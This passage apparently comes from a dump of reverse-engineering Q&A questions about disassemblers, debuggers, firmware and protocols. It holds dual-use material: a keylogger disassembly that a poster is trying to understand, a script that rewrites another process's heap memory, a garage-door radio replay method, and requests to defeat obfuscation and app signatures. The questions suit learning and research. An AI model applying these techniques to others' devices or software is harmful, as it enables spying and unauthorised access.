+But I don't know how to patch the instruction to print out the value at local_40 +Instead of MOV dword ptr [ESP],0x4b1050 what variable in this instruction should be edited? If my understanding is correct then the above instruction is loading the ESP register with the value at 0x4b1050 +so how will I get the address of local_40? + +" +['c++']," Title: Trying to identify a Binary-Search-Tree structureBody: Let's say I make a std::map in C++, and ADDR is their address in memory. When I look at this place in memory I will find a pointer and in ADDR + 4 will be the amount of elements in the container. Now, when I go to [ADDR], I will find 3 more Pointers, the first points to the left most element of the Tree, the second to the Root of the Tree, and the third to the right most element of the Tree. Now here is my question: +When I make a std::map<int, int>, and and I go to a Node ( let's take the Root for example ),I will have the it->first in the Node+0x10 and it->second in Node+0x14, but I found a Tree in a software which has the it->first in the Node+0xC and it->second in Node+0x10, and I just can't discover which structure this is. Someone here has any idea what this can be? +Example if I make a std::map<std::string, int>: + +Here it is the struct I want to identify: + +PS: This software is developed in C++. +" +"['android', 'java', 'assembly']"," Title: what do these assembly code doing?Body: I tried to reverse engineer an apk app, and it was loading a native code. I have observed that the app was using the native code like this +
public static String v = sUQWWyTBEs().toString().substring(32, 37);
+
+the disassembled function sUQWWyTBEs() with Ghidra contained this code: +
                             *************************************************************
+                             *                           FUNCTION                          
+                             *************************************************************
+                             undefined  __cdecl  Myapp_sUQWWyTBEs()
+             undefined         w0:1           <RETURN>
+             longlong *        x0:8           param_1
+                             Myapp_sUQWWyTBEs XREF[2]:     Entry Point (*) , 00101350   
+        00100e44 08  00  40  f9    ldr        x8, [param_1 ]
+        00100e48 01  00  00  b0    adrp       x1, s_c7a584936712f32773d3d0a_00101000           ; = "c7a584936712f32773d3d0a"
+        00100e4c 21  60  08  91    add        x1, x1, #0x218
+        00100e50 02  9d  42  f9    ldr        x2, [x8, #0x538 ]
+        00100e54 40  00  1f  d6    br         x2
+
+I don't have much experience on assembly code. my question what these code is doing? in respect to the code what the above variable v is stored? +" +"['ida', 'debugging']"," Title: Is there a way to attach x86dbg with ida pro?Body: IDA has the option to use debuggers but the debuggers are quite limited. Is there a way that I can use to use x86dbg with IDA Pro? +" +"['disassembly', 'decompilation', 'executable', 'decompress', 'game-hacking']"," Title: How can I extract working files (in the form of graphics) from these MZP executables?Body: There's a 1999 PC/Mac game that I'm hoping to extract assets from. All game data appears to be stored in various files with the extension .rsc. I've been able to extract all the game's audio from the files, using tools such as Ravioli Explorer and Dragon Unpacker. +Here's where things get weird: Despite the files all ending in .rsc, changing the extension to .exe and opening it with various executable disassemblers (such as IDA) reveals that the files are in fact Pascal DOS executables that match the New Executable (NE) Windows file format. +No idea why that's the case, and I have no idea what I can do with that information. I can't make heads or tails of the raw executable data, and I have no idea if it's even possible to extract working files from them. I know pretty much nothing about this topic, so help would be greatly appreciated. +I'll link a few of the files in question. If anyone wants to take a look at them and take a crack at it, I would be very grateful: RR2G.zip. +" +['windows']," Title: Why some process has empty nt!_object_typeBody: I try to extra the nt!_object_type of notepad.exe process. But seems like it's empty. Is it some process has no object type? + +Correction for my screenshot above for using the EPROCESS address to extract TypeIndex instead of using the header of the process object. +This time I got the right, first I determine that the TypeIndex of process object belonging to the notepad is 0x98. +By plugging the value 0x98 into the ObTypeIndexTable, I am seeing empty structure. +Any idea why? Below is the updated screenshot. + +" +"['windows', 'windbg']"," Title: Windows time travel debugging performance bottleneckBody: First of all I wan to be clear, that this question is not about the collection performance, but indexing performance. +

What is the performance bottleneck of the indexing step?

+Some context: +Action in game that should take under 1 second took over 10 minutes with TT data collection, and produced over 80 GB run file. (input conditions not part of the question) +

What exactly does the indexing do?

+"Debug Engine Host Process" uses 37-41 % of the CPU, ~2 GB RAM, and 12-26 MB/s disk IO +It uses the all 32 CPU cores almost the same, so from that I assume it is well parallelized. +RAM usage is so low that it can be ignored, I assume. +Disk IO is also low 0-3% active time because it works on relatively fast NVME drive, with all 4 PCIe gen3 lanes directly from the CPU. This drive is less than 10% used capacity, so even if it would be in the part that is not always SLC, the cells would be in SLC mode, because of enough free space. +I am quite interested what are your thoughts about this, and if you think I can do something to make it faster, like some hidden option to use twice as many threads? +" +"['windows', 'windbg']"," Title: Why is process object is shown as desktop object in nt!_object_typeBody: I try to extract the object type of notepad.exe in windbg but the nt!_object_type is showing it as Desktop object instead of Process object. +Any idea why is it so? +
4: kd> !process 0 0 notepad.exe
+PROCESS ffffc80bc92d7080
+    SessionId: 1  Cid: 07c0    Peb: 4c99481000  ParentCid: 2b48
+    DirBase: 147205000  ObjectTable: ffffa30d80327d40  HandleCount: 233.
+    Image: notepad.exe
+
+4: kd> !object ffffc80bc92d7080
+Object: ffffc80bc92d7080  Type: (ffffc80bb02a9220) Process
+    ObjectHeader: ffffc80bc92d7050 (new version)
+    HandleCount: 6  PointerCount: 196490
+4: kd> ?? (nt!_object_header*)0xffffc80bc92d7050
+struct _OBJECT_HEADER * 0xffffc80b`c92d7050
+   +0x000 PointerCount     : 0n196490
+   +0x008 HandleCount      : 0n6
+   +0x008 NextToFree       : 0x00000000`00000006 Void
+   +0x010 Lock             : _EX_PUSH_LOCK
+   +0x018 TypeIndex        : 0x19 ''
+   +0x019 TraceFlags       : 0 ''
+   +0x019 DbgRefTrace      : 0y0
+   +0x019 DbgTracePermanent : 0y0
+   +0x01a InfoMask         : 0x88 ''
+   +0x01b Flags            : 0 ''
+   +0x01b NewObject        : 0y0
+   +0x01b KernelObject     : 0y0
+   +0x01b KernelOnlyAccess : 0y0
+   +0x01b ExclusiveObject  : 0y0
+   +0x01b PermanentObject  : 0y0
+   +0x01b DefaultSecurityQuota : 0y0
+   +0x01b SingleHandleEntry : 0y0
+   +0x01b DeletedInline    : 0y0
+   +0x01c Reserved         : 0
+   +0x020 ObjectCreateInfo : 0xffffc80b`ba32dc40 _OBJECT_CREATE_INFORMATION
+   +0x020 QuotaBlockCharged : 0xffffc80b`ba32dc40 Void
+   +0x028 SecurityDescriptor : 0xffffa30d`7cd0d369 Void
+   +0x030 Body             : _QUAD
+4: kd> ?? ((nt!_object_header*)0xffffc80bc92d7050)->TypeIndex
+unsigned char 0x19 ''
+4: kd> ?? ((nt!_object_type**)@@(nt!ObTypeIndexTable))[((nt!_object_header*)0xffffc80bc92d7050)->TypeIndex]
+struct _OBJECT_TYPE * 0xffffc80b`b02d3980
+   +0x000 TypeList         : _LIST_ENTRY [ 0xffffc80b`b02d3980 - 0xffffc80b`b02d3980 ]
+   +0x010 Name             : _UNICODE_STRING "Desktop"
+   +0x020 DefaultObject    : (null) 
+   +0x028 Index            : 0x19 ''
+   +0x02c TotalNumberOfObjects : 0xc
+   +0x030 TotalNumberOfHandles : 0xf7
+   +0x034 HighWaterNumberOfObjects : 0xd
+   +0x038 HighWaterNumberOfHandles : 0xff
+   +0x040 TypeInfo         : _OBJECT_TYPE_INITIALIZER
+   +0x0b8 TypeLock         : _EX_PUSH_LOCK
+   +0x0c0 Key              : 0x6b736544
+   +0x0c8 CallbackList     : _LIST_ENTRY [ 0xffffc80b`b02d3a48 - 0xffffc80b`b02d3a48 ]
+
+" +['windows']," Title: Identifying/debugging code parts responsible for features in WindowsBody: New to the area, i am trying to identify the code responsible for example for the search functionality in Windows when you start typing in the start menu. +What are some generic ways of identifying the file/code where that functionality is implemented? +Some ideas i had are: +
    +
  1. Check out procmon to identify whether your action is causing any events and identify the process, then one can go from there using potentially the corresponding symbols to find the appropriate functions. +
  2. +
  3. Once we have the appropriate functions, see if possible to set a hardware breakpoint in kernel debugging in the address where the associate code is mapped. (easy when the code resides in kernel space, for userspace functionalities we may be lucky in case of system libraries mapped in the same virtual address for all processes) +
  4. +
+Not sure whether the above is the most optimal/effective methodology, any other ideas are welcome +" +"['ida', 'dll', 'disassemblers']"," Title: The method of searching for similar code in a binary file of a new releaseBody: Got into the hands of such a task. There are two dlls. As the second file was explained to me (new.dll) this is a new release of the first file (old.dll). Both files are compiled for x64. I need to find what a few functions from have turned into old.dll in new.dll. Below is an example of one of the functions. Please express your thoughts about my approach to finding a new version of the code: I started by using rdare2 to find all the functions in old.dll (more than 40 thousand), created a file with signatures and set it on a new file. In the end, nothing was found. I conclude that the changes are more than cosmetic. Next, I decided to search as follows: +
    +
  1. I do a search on the pieces of the function code. I take the prologue before calling the function and look for this sequence of bytes in new.dll.
  2. +
  3. I try to find constants, strings, and other magic numbers that appear in the function and look for them in new.dll.
  4. +
  5. I analyze all the functions that call the desired function and try to find a similar set of calling functions in new.dll.
  6. +
  7. I try to determine the sequence of calling functions up to the very first (top) and find a similar sequence of calls in a new file.
  8. +
  9. I analyze all the functions that are called from the desired function and try to find a similar set of called functions in new.dll
  10. +
  11. Here I admit that all of the above did not help me. Next, I think that since there are such calls to call qword ptr [rax+18h] (there are 8 of them in the analyzed function), then these are probably calls to the methods of the object (s). You can probably find a vftable and understand what class these methods belong to and already make a set of classes.the method that is called in my function. Next, search in new.dll where such a sequence of methods from the corresponding classes is called.
  12. +
  13. You can probably try to find where the object was created and where this this came from in my function. Next, look for a similar trace in new.dll. Not sure if this method can be applied without debugging this dll. It is not clear how to run the dll because there are only three exported functions: DllGetLCID +PPMain +DllEntryPoint
  14. +
+Which of the listed search approaches is utopia, and which is not? Maybe there are more proven options? +" +"['ida', 'disassembly', 'binary-analysis', 'arm']"," Title: Reversing uboot on an aarch64 Hi3559AV target problemsBody: I am trying to reverse uboot for an ARM aarch64 Hi3559AV target. +I've dumped the binary uboot.bin.gz, and have loaded it in IDA at the correct address. IDA seems to see a lot of strings (and potentially some data) at an offset of 0x10 from where it should be. +I've dumped RAM from the target, and confirmed that indeed the code is at the correct address as are the strings/data. This is position independent code so everything is at an offset as opposed to hardcoded addresses. So this confuses me. Still very learning so I am sure more experienced people know exactly why this might be. +I could work around this, but I am running parts of the code on qemu debugging with gdb-multiarch. Not the full uboot code from entry point of course as it will fail on hardware accesses etc. So I am using gcc to make a stub program ensuring uboot data ends up at the right memory address, and I can call the target function with the right data/params. +This is fine for some functions, but the one I am looking at doesn't produce the expected data output in memory just blank. Additionally just like IDA, when it prints strings, they are offset by 0x10 so are wrong. +Any suggestions why this might be? +This is a SHA function, and though the board does support hardware crypto (which won't work on qemu) the code shows no sign of using it. Nor does that explain the string/data offset issue. +Is there some kind of hardware addressing modes that the target board is using than I am not replicating? +I can't do things like this in the uboot start code +WriteStatusReg(ARM64_SYSREG(3, 0, 4, 0, 1), v29); (not saying this is relevant to memory just an example). +Or perhaps it's some kind of .text segment or align thing which IDA doesn't do correctly, nor does qemu given I'm just jumping directly to a function. This is a baremetal binary image after all. +Any advice or pointers welcome. If I've not phrased the question properly or not included needed info please accept my apologies - happy to clarify as needed. +Cheers +" +"['disassembly', 'assembly', 'malware']"," Title: Understanding the basics of Reverse Engineering a segment of codeBody: Currently trying to understand the following code and what it is doing. +
mov     eax, 1
+test    eax, eax
+jz      loc_411503
+mov     esi, esp
+call    ds:_kbhit
+cmp     esi, esp
+call    sub_411159
+test    eax, eax
+jz      short loc_4114FE
+mov     esi, esp
+call    ds:_getch
+cmp     esi, esp
+call    sub_411159
+mov     [ebp+var_11], al
+movsx   eax, [ebp+var_11]
+mov     [ebp+var_8], eax
+mov     esi, esp
+push    offset Mode     ; "a+"
+push    offset Filename ; "KEYS.TXT"
+call    ds:fopen
+add     esp, 8
+cmp     esi, esp
+call    sub_411159
+mov     [ebp+File], eax
+mov     esi, esp
+mov     eax, [ebp+File]
+push    eax             ; File
+movsx   ecx, [ebp+var_11]
+push    ecx             ; Ch
+call    ds:fputc
+add     esp, 8
+cmp     esi, esp
+call    sub_411159
+mov     esi, esp
+mov     eax, [ebp+File]
+push    eax             ; File
+call    ds:fclose
+add     esp, 4
+cmp     esi, esp
+call    sub_411159
+cmp     [ebp+var_8], 1Bh
+jnz     short loc_4114FE
+xor     eax, eax
+jmp     short loc_411503
+
+I do get that this seems to be, in effect, a keylogger from the function calls that are made but I am struggling how the character that is pulled from with the _getch function and makes it all the way into the file. Is this character that is pulled by _getch placed in the stack and then essentially moved around to where it is able to get the file open - with fopen and then puts it back in. I am struggling to understand how this works with the additional instructions that are included within the overall segment of code. +Any help is appreciated. +Thanks in advance. +" +"['ida', 'disassemblers']"," Title: How to understand the result of disassembling IDA Pro (dll x86_64)Body: I'm studying the dll that was built for x86_64. +I study where there are links to the function "call_f1_1806F3630" and do not understand three of them. Are these features of OOP? Help me figure it out: +https://disk.yandex.ru/i/crsvYi4QLBE6dQ +
    +
  1. Is this a virtual table with methods of some class?
  2. +
+
.rdata:0000000180B8E730 BC 06 03 80 01 00 00 00       off_180B8E730   dq offset sub_1800306BC ; DATA XREF: sub_180016668+28↑o
+.rdata:0000000180B8E730                                                                       ; sub_180169E2C+2E↑o ...
+.rdata:0000000180B8E738 44 8D 03 80 01 00 00 00                       dq offset sub_180038D44
+.rdata:0000000180B8E740 F0 8D 03 80 01 00 00 00                       dq offset sub_180038DF0
+...
+.rdata:0000000180B8E800 30 03 6F 80 01 00 00 00                       dq offset sub_1806F0330
+.rdata:0000000180B8E808 30 36 6F 80 01 00 00 00                       [B]dq offset call_f1_1806F3630[/B]
+.rdata:0000000180B8E810 20 3D 6F 80 01 00 00 00                       dq offset sub_1806F3D20
+.rdata:0000000180B8E818 60 99 16 80 01 00 00 00                       dq offset sub_180169960
+
+
    +
  1. This is not clear at all.
  2. +
+
.rdata:0000000180EDAE60 30 36 6F 00 FF FF FF FF       stru_180EDAE60  IPtoStateMap <rva call_f1_1806F3630, -1>
+.rdata:0000000180EDAE60                                                                       ; DATA XREF: .rdata:stru_180EDAE28↑o
+.rdata:0000000180EDAE68 6B 36 6F 00 00 00 00 00                       IPtoStateMap <rva loc_1806F366B, 0>
+.rdata:0000000180EDAE70 C4 37 6F 00 FF FF FF FF                       IPtoStateMap <rva loc_1806F37C4, -1>
+.rdata:0000000180EDAE78 CB 37 6F 00 00 00 00 00                       IPtoStateMap <rva loc_1806F37CB, 0>
+.rdata:0000000180EDAE80 71 93 AE 00 01 00 00 00                       IPtoStateMap <rva sub_180AE9371, 1>
+.rdata:0000000180EDAE88 80 93 AE 00 00 00 00 00                       IPtoStateMap <rva loc_180AE9380, 0>
+
+
    +
  1. This is not clear at all.
  2. +
+
.pdata:000000018110D94C 30 36 6F 00 DA 37 6F 00 88 1C+                RUNTIME_FUNCTION <rva call_f1_1806F3630, rva algn_1806F37DA, \
+.pdata:000000018110D94C D0 00                                                           rva stru_180D01C88>
+
+" +['firmware']," Title: How to reverse *.pkg file? This is a firmware file of a routerBody: I am a newbi for reversing engineering. +I am going to reversing a firmware file. (*.pkg) +I could find many tutorials for reversing *.bin, but I can't find any tutorials for reversing *.pkg file. +And I don't have the router device yet, so I can't dump a bin file from the device now. +*I wanna know how to reversing .pkg and what is the best tool for this reversing work. +==================================================== +PS: +This pkg file was not a firmware, it's a MacOS install file. +But I downloaded my router firmware, it's also *.pkg. +And it works well with firmware reversing tools. +Thank you for your answers. +" +"['firmware', 'hardware', 'firmware-analysis', 'game-hacking', 'api-reversing']"," Title: Reverse Engineering SNES adapterBody: A good "Hello world" for everybody here +I've bought a Mayflash PC052 adapter to convert an original SNES-mini controller (CLV-202) to a USB port on PC or PS4... +The thing is, this CLV-202 controller isn't working with the adapter, I've asked for a firmware update to Mayflash, and it seems they are not interested to update it. +I've spent a lot of money in both devices and I want to try to mod the firmware to make the controller work. +I've tested my CLV-202 in a Nintendo Wii, and its working flawless. This adapter (PC052) was made to work with a Wii classic controller (RVL-005), if you saw both pictures, you will notice that CLV-202 and RVL-005 looks very similar, mine have less 5 buttons to me to care about +*** End of my sad history *** +So, I must start from where? +How to create a "dump" file of this firmware to my PC? Is it possible to edit it (w/o the source code)? +I'm a 101% noob in this area, and have 0% idea in how to start... but I want to learn with you all +PS: I don't care if the "original intended" devices stop working after the mod, just want this CLV-202 controller working +" +"['ghidra', 'python']"," Title: Printing all strings in a Ghidra project with pythonBody: I got the string objects from a Ghidra project using this code: +
 l = list()
+def callback(s):
+   l.append(s)
+ss = StringSearcher(currentProgram, 5, 1, False, True)
+ss.search(None, callback, True, monitor)
+
+print(l[0])
+
+got it from the thread How to use findStrings flat API (#1964). +The problem is that in order to get the actual string, a Memory object is needed as a param of the getString() function. +I'm not really sure how to create this object or what it exactly represents… any right way/good example for this situation? +" +['checksum']," Title: Help with working out a checksumBody: I'm trying to work out how to reverse engineer the checksum on infrared remote data stream for a heat pump. I've established that it's not a CRC, and I've tried methods found on this forum. It doesn't appear in other works like this one. +I'm tearing my hair out because it appears to be XOR, and it works some of the time. I'm reaching out to see if anyone here can give me some pointers. +
0xCB8830C000191B
+0xCB8830200019FB
+0xCB8830A000197B
+0xCB8830600019BB
+0xCB8830E000193B
+0xCB8830100019C3
+0xCB883090001943
+
+For info, the data changing is the selected temperature. The 4th byte, 0xC0 in the top item is 19 oC, the one below – 0x20 – is 20 oC. If you reverse all the bytes, the temperature makes more sense and needs 16 decimal adding. +The checksum is the last byte. Working on 0xCB8830C000191B and taking 0xCB as the 1st byte, XOR bytes D1, D3, D4, D5, D6 = 0x22. XOR this with 0x39 and you get the desired checksum of 0x1B. This works for all the ones ending in B, but is off by 8 for the last 2. I can't find any data such as counting bits that gives me this difference. +Anyone with some ideas please? +To help other people trying to do the same, the stream comes from a Airton heat pump, which is only sold in France. It's also sold under Ferroli and Lamborghini (really!) +" +['python']," Title: Reversing PYARMOR (?)Body:

I have already decompiled an .exe file and reached to a .py but it is obfuscated using PyArmor.

+I have already used ''https://github.com/nlscc/unpyarmor'' to try it, but could not figure it out how to use it correctly. +I've searched a lot for some tutorial video but could only find ways to obfuscate it. Not the reverse process. +Thx guys! +
+

INFOS:

+/ decompyle3 version 3.3.2 +/ Python bytecode 3.8 (3413) +/ Decompiled from: Python 3.8.3 +" +"['firmware', 'unpacking']"," Title: Only some files are unpacked while firmware reversing with binwalk toolBody:
+I am reversing a firmware with binwalk.
+Unpacking was succeed, but I can't find my target files. (CGI files in www folder)
+When I connect to the web page of my router, I can see links include CGI file names.
+But after unpacking, I can see only html files, I can't see CGI files.
+I think only some files are unpacked with binwalk tools.
+How do you think what's the problem?
+Thank you +" +"['binary-analysis', 'elf', 'binary']"," Title: Is it possible to reverse CGI binary file?Body: I wanna reverse CGI binary file.
+Is it possible?
+What are the recommended tools and guides?
+Thank you for reading my question. +
$ file test.cgi
+status.cgi: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.16, stripped
+
+" +['elf']," Title: How to reverse engineering ARM architecture ELF file on AMD linux?Body: I am reversing an ELF file, it's ARM architecture file.
+But my OS is AMD linux.
+How can I do reversing work for the ARM ELF file on AMD linux? +" +"['ios', 'frida', 'hash-functions']"," Title: How to find how a hash in generated in an iOS appBody: I'm currently working on an iOS app to replicate a signature which looks to be generated with a MD5 hash. I'm currently using Frida, but haven't had any luck replicating it. I've used the script to hook on to general crypto functions, but nothing MD5 related seems to go on here. I've also hooked onto the CC_MD5 function, but it isn't displaying me the correct hash, so I'm guessing the app is using another library. I've had success with Android, as I can 1) see the source code with Jadx 2) Easily hook onto the MD5 class. +Any tips on how I can approach this? It would be greatly appreciated! +" +"['heap', 'wine']"," Title: How to find and read specific value in memory of running wine application?Body: How can I find and read specific values in memory of running WINE application? +I am experimenting with text editors, writing some string and trying to find it in the heap memory and changing it using a python script. +I tried using this code for finding and modifying the value in the memory of a native Leafpad (text editor) program running on Linux. and it works (the value in the heap changed). +However, when I try using the script on a WINE application (notepad.exe) it fails finding the value. +How come there is a difference between the WINE and the native Linux application? +What do I need to change in order to make the script work with WINE applications? +This is the script being used for location and modification of a value: +
#!/usr/bin/env python3
+
+from sys import argv, exit
+
+
+def print_usage():
+    """Print the usage string if script was used improperly"""
+    print('Usage: \
+        \t$ {} <pid> <string to read> <string to write>'.format(argv[0]))
+    exit(1)
+
+
+def read_write_heap(pid, read_str, write_str):
+    """Find @read_str in the heap of @pid and replace it with @write_str"""
+    try:
+        maps_file = open("/proc/{}/maps".format(pid), 'r')
+    except IOError as e:
+        print("Can't open file /proc/{}/maps: IOError: {}".format(pid, e))
+        exit(1)
+    heap_info = None
+    for line in maps_file:
+        if 'heap' in line:
+            heap_info = line.split()
+            print("HEAP: ", line)
+    maps_file.close()
+    if 'heap' == None:
+        print('No heap found!')
+        exit(1)
+    addr = heap_info[0].split('-')
+    perms = heap_info[1]
+    if 'r' not in perms or 'w' not in perms:
+        print('Heap does not have read and/or write permission')
+        exit(0)
+    try:
+        mem_file = open("/proc/{}/mem".format(pid), 'rb+')
+    except IOError as e:
+        print("Can't open file /proc/{}/maps: IOError: {}".format(pid, e))
+        exit(1)
+    heap_start = int(addr[0], 16)
+    heap_end = int(addr[1], 16)
+    mem_file.seek(heap_start)
+    heap = mem_file.read(heap_end - heap_start)
+
+    str_offset = heap.find(bytes(read_str, "ASCII"))
+    if str_offset < 0:
+        print("Can't find {} in /proc/{}/mem".format(read_str, pid))
+        exit(1)
+    mem_file.seek(heap_start + str_offset)
+
+    mem_file.write(bytes(write_str + '\0', "ASCII"))
+
+
+if (len(argv) == 4):
+    pid = argv[1]
+    search_str = argv[2]
+    replace_str = argv[3]
+    read_write_heap(pid, search_str, replace_str)
+else:
+    print_usage()
+
+" +"['hardware', 'protocol']"," Title: HackRF One - Replay Attack on Garage Door does not work (12 DIP switches)Body: TL;DR solution +
    +
  • Setting 4MHz sample rate and 2Mhz bandwidth in the capture tab (according to the Nyquist theorem the sample rate has to be double the bandwidth)
  • +
  • Using the length of a DIP switch position in samples as the samples/symbol parameter
  • +
  • Using the DC correction filter
  • +
  • Using the generator tab to generate a new refined signal like so:
  • +
+
+My colleagues and I have taken on a HackRF project for university, using HackRF One. One of the targets is garage door controllers. +We own two controllers with DIP switches for the same door, one has 10 switches while the other one has 12. +The controller has a PIC16C54 chip, broadcasting at 27.015Mhz. +Using hackrf and Universal Radio Hacker we were able to obtain signals from both controllers (top is 10 switches, bottom is 12): + +We can easily recognize that there is a long wait period after every signal. The DIP switches are 0000111110 and 0000111110000 on the 10-switch and 12-switch controller respectively. +We were able to notice that the long parts of the signal correspond to 0s and the short bursts (probably including some of the 'silence' after them in order to be the same length) are 1s. At this point I am expecting the signal to be like this: +0 1111 0 1111 0 1111 0 1111 0 1100 0 1100 0 1100 0 1100 0 1100 0 1111 0 1100 0 1100 +where 1111 is a dip switch set to 0 and 1100 is a dip switch set to one. +Our efforts to replay the signal for the garage door have been futile, even directly in front of it. We tried to import the data in Audacity and normalize the signal in order to get the most power out of it but Universal Radio Hacker does not import it properly from a RAW 8-bit unsigned PCM 48KHz format (this is the expected format right?). +Despite not succeeding in the replay attack with the captured signal from URH without using audacity, the following questions arose: +
    +
  • Why are there two short burst (1s) instead of the expected zeroes in the end of the signal?
  • +
  • The 10 switches controller has a signal without the two zeroes at the start. The garage code should be 10bit then (?)
  • +
  • Why does setting the 12 switch controller's last 2 switches to 1 instead of 0 not open the door?
  • +
+Are we missing something even more important here? +Edit: the door is not rolling code since we are capturing the same signal on every press (and it's a 30 years old door) +Edit (2): The signal with autodetect parameters is the following: +
+11111111111111111111111111111111111111111111 +011101110111011101100100100100110011101100100 +11111111111111111111111111111111111111111111 +011101110111011101_001001001001_0011101_00100 +11111111111111111111111111111111111111111111 +011101110111011101_001001001001_0011101_001(00) +
+ +But I believe 2000 samples/Symbol is better since it yields: +
+111111111111111111111111111111111110110110110110100100100100100110100100 +111111111111111111111111111111111110110110110110100100100100100110100100 +111111111111111111111111111111111110110110110110100100100100100110100100 +
+The problem is, URH replays samples not bits, so why does the replay not work? +Edit (3): I read that the antennas that come with HackRF are not useful for transmitting in that frequency (27.015Mhz), is this true? +Edit (4): After fiddling around with the URH filters I got some good parameters for the capture of a long press I had named "repeat". The same information is repetitively transmitted for the duration of the press. + +which resulted in getting from this: + +to this: + +I have not yet tested the attack. Does the way the signal gets decoded into bits change the way it gets repeated? do the parameters affect repetition too? what about the filters? +Update: Test through the repeat option in Interpretation tab failed (check edit 4). +Edit (4): I just realized I can use the Generator tab... + +Will test tomorrow and update accordingly! + +5k samples/symbol gives desired decoding mentioned by @roscoe but doesn't work for generation + +Edit (6): Setting the sample rate to 4M and bandwidth to 2M during recording yielded the following: + +Autodetect seems to have gotten the right values, samples per symbol was manually set to 4000 since that is the approximate width of a symbol: + +Simply replaying the signal didn't work, but generating a new signal from the Generator tab with autodetect parameters DID ! + +" +['frida']," Title: process crash handler in FridaBody: I'm trying to debug a crash in some process in iOS +frida-trace allows me to add handlers to specific functions, but I'd like to install a handler that prints the stack trace when the process crashes. How can I do it? +" +"['ida', 'ghidra', 'x64dbg', 'pe-resources']"," Title: Breaking on string access from StringTable (resource)Body: If I have a resource like this: +
STRINGTABLE
+LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
+{
+100,    "OK"
+101,    "Warning"
+102,    "Error"
+103,    "Name"
+104,    "Size"
+}
+
+1- How can I place a BP (conditional) to break when the string 102 is accessed (x64. I do not know which function is used to load the string)? +2- How could I detect this code in a disassembler such as Ghidra/IDA? +" +"['assembly', 'decryption', 'deobfuscation', 'xor']"," Title: RE on firmware images that seem to use weak encryption/obfuscation. Robot vacuumBody: I have been playing with some robot vacuums that utilize very basic navigation, and I am wanting to play around with my own provisioning along with adding a Rpi to augment features. +These vacuums are using the STM32F0 MCU, and when using a debugger to dump the firmware it turns out they are all using RDP1. +Through some digging, I found a public S3 bucket with various firmware images along with other resources. +Oddly, the newer generation vacuums referenced in the bucket have their firmware images without encryption/obfuscation. The binaries for the vacuums I am interested in all have a type of encryption/obfuscation that seems very weak. The thing is though, no matter how I try attacking it, I do not seem to get my rewards. +I say it is weak because there are decent size segments within the images that have 136byte strings that will repeat anywhere from 15 to 236 times depending on the image type. These repeating parts only repeat the same segment consecutively, and the string dose not occur again outside of the repeated segment. Some of the smaller firmware images only have 2 blocks of repeating segments, other larger images may have up to six that I have seen. +Here is an example of one of the images. +Robot Vacuum Firmware +The first WORD is 0xEAAF4339, and is common to all of the images. +The second WORD seems to be a file type flag. +The third WORD is almost always equal to the image size minus 24 bytes. +The fourth WORD is always padding. +The fifth WORD is always 0x0403020F. +Starting at 0x4418 is the first segment of repeating 136 bytes. +" +"['debugging', 'c#', 'dnspy']"," Title: Can i follow the invoke function?Body: im trying to debug some C# app. +Flow: main -> load dll into mem -> main invoke some function (i want to be here after invoke called). +Im using dnspy. +" +"['windows', 'thread', 'processhacker']"," Title: How to get thread start address in Windows?Body: I'm writing thread finder in module. My goal is find all threads in process and find threads currently working address locations. Like image on below. I do this goal with NtQueryInformationThread API. + +I'm search all web, and I find little bit code pieces. I compile and run my program, but thread start address is always being 0x00000 or 0xccccc. Where I do mistake? My Thread Start Address Finder function is here: +
#define ThreadQuerySetWin32StartAddress 9
+
+typedef NTSTATUS(WINAPI* NTQUERYINFOMATIONTHREAD)(HANDLE, LONG, PVOID, ULONG, PULONG);
+DWORD WINAPI GetThreadStartAddress(__in HANDLE hThread)
+{
+    NTSTATUS ntStatus;
+    DWORD dwThreadStartAddr = 0;
+    NTQUERYINFOMATIONTHREAD NtQueryInformationThread;
+
+    if ((NtQueryInformationThread = (NTQUERYINFOMATIONTHREAD)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationThread"))) {
+        ntStatus = NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress, &dwThreadStartAddr, sizeof(DWORD), NULL);
+    }
+
+    return dwThreadStartAddr;
+}
+
+" +['ida']," Title: IDA 7.5 Show the Progress from Auto Analysis?Body: Is it possible to create a box / bar in IDA wich indicates the progress? +" +"['ida', 'ghidra']"," Title: alignment in Ghidra and IDABody: I see in my IDA it does automatically "align 10" after the end of a fucntion. +I wanted to know how to make the same in Ghidra manually like IDA does. +Thanks +" +['hexrays']," Title: An incomprehensible line in the output from hex raysBody:
v5 = (*(int (__cdecl **)(int))((char *)&etext + 1))(a1);
+
+Please explain me what does this line mean (if possible, please write from what it was compiled from (language - c)) +" +['ghidra']," Title: Ghidra throws error when creating DWARFProgramBody: I am trying to create a DWARFProgram for a Ghidra program. I would like to extract the function debug symbols. I get an error when constructing the DWARFProgram. +The constructor prints the following and then throws a NullPointerException: +
Elf symbol table section .dynsym linked to string table section .dynstr
+Elf symbol table section .symtab linked to string table section .strtab
+Elf relocation table section .rel.dyn linked to symbol table section .dynsym affecting PT_LOAD
+Reading DWARF debug string table
+
+My code (using Jython): +
monitor = ConsoleTaskMonitor()
+program = ghidraProject.openProgram('/', programName, False)
+binfile = File(programDir + programName)
+options = DWARFImportOptions()
+sectionProvider = ElfSectionProvider(binfile)
+dwarfProg = DWARFProgram(program, options, monitor, sectionProvider)
+
+Screenshot of console: + +" +"['windbg', 'winapi']"," Title: Windbg memory access error when trying to edit a string value of a buttonBody: So i was trying to edit the string value of a button as a debugging practice using windbg. I'm still a complete novice in reverse engineering and debugging, when i try to edit the string value using the command eb it gives me Memory Access Error. is there a correct way to do this trivial but complicated for a beginner task? +Thanks in advance + +text: +

+Microsoft (R) Windows Debugger Version 6.11.0001.402 X86
+Copyright (c) Microsoft Corporation. All rights reserved.
+
+CommandLine: E:\tests\rr\test.exe
+FindTheBuild service not found
+Symbol search path is: srv*
+Executable search path is: 
+ModLoad: 00400000 0041d000   image00400000
+ModLoad: 7c900000 7c9af000   ntdll.dll
+ModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dll
+ModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dll
+ModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dll
+ModLoad: 77f10000 77f59000   C:\WINDOWS\system32\GDI32.dll
+(6dc.43c): Break instruction exception - code 80000003 (first chance)
+eax=00341eb4 ebx=7ffdc000 ecx=00000007 edx=00000080 esi=00341f48 edi=00341eb4
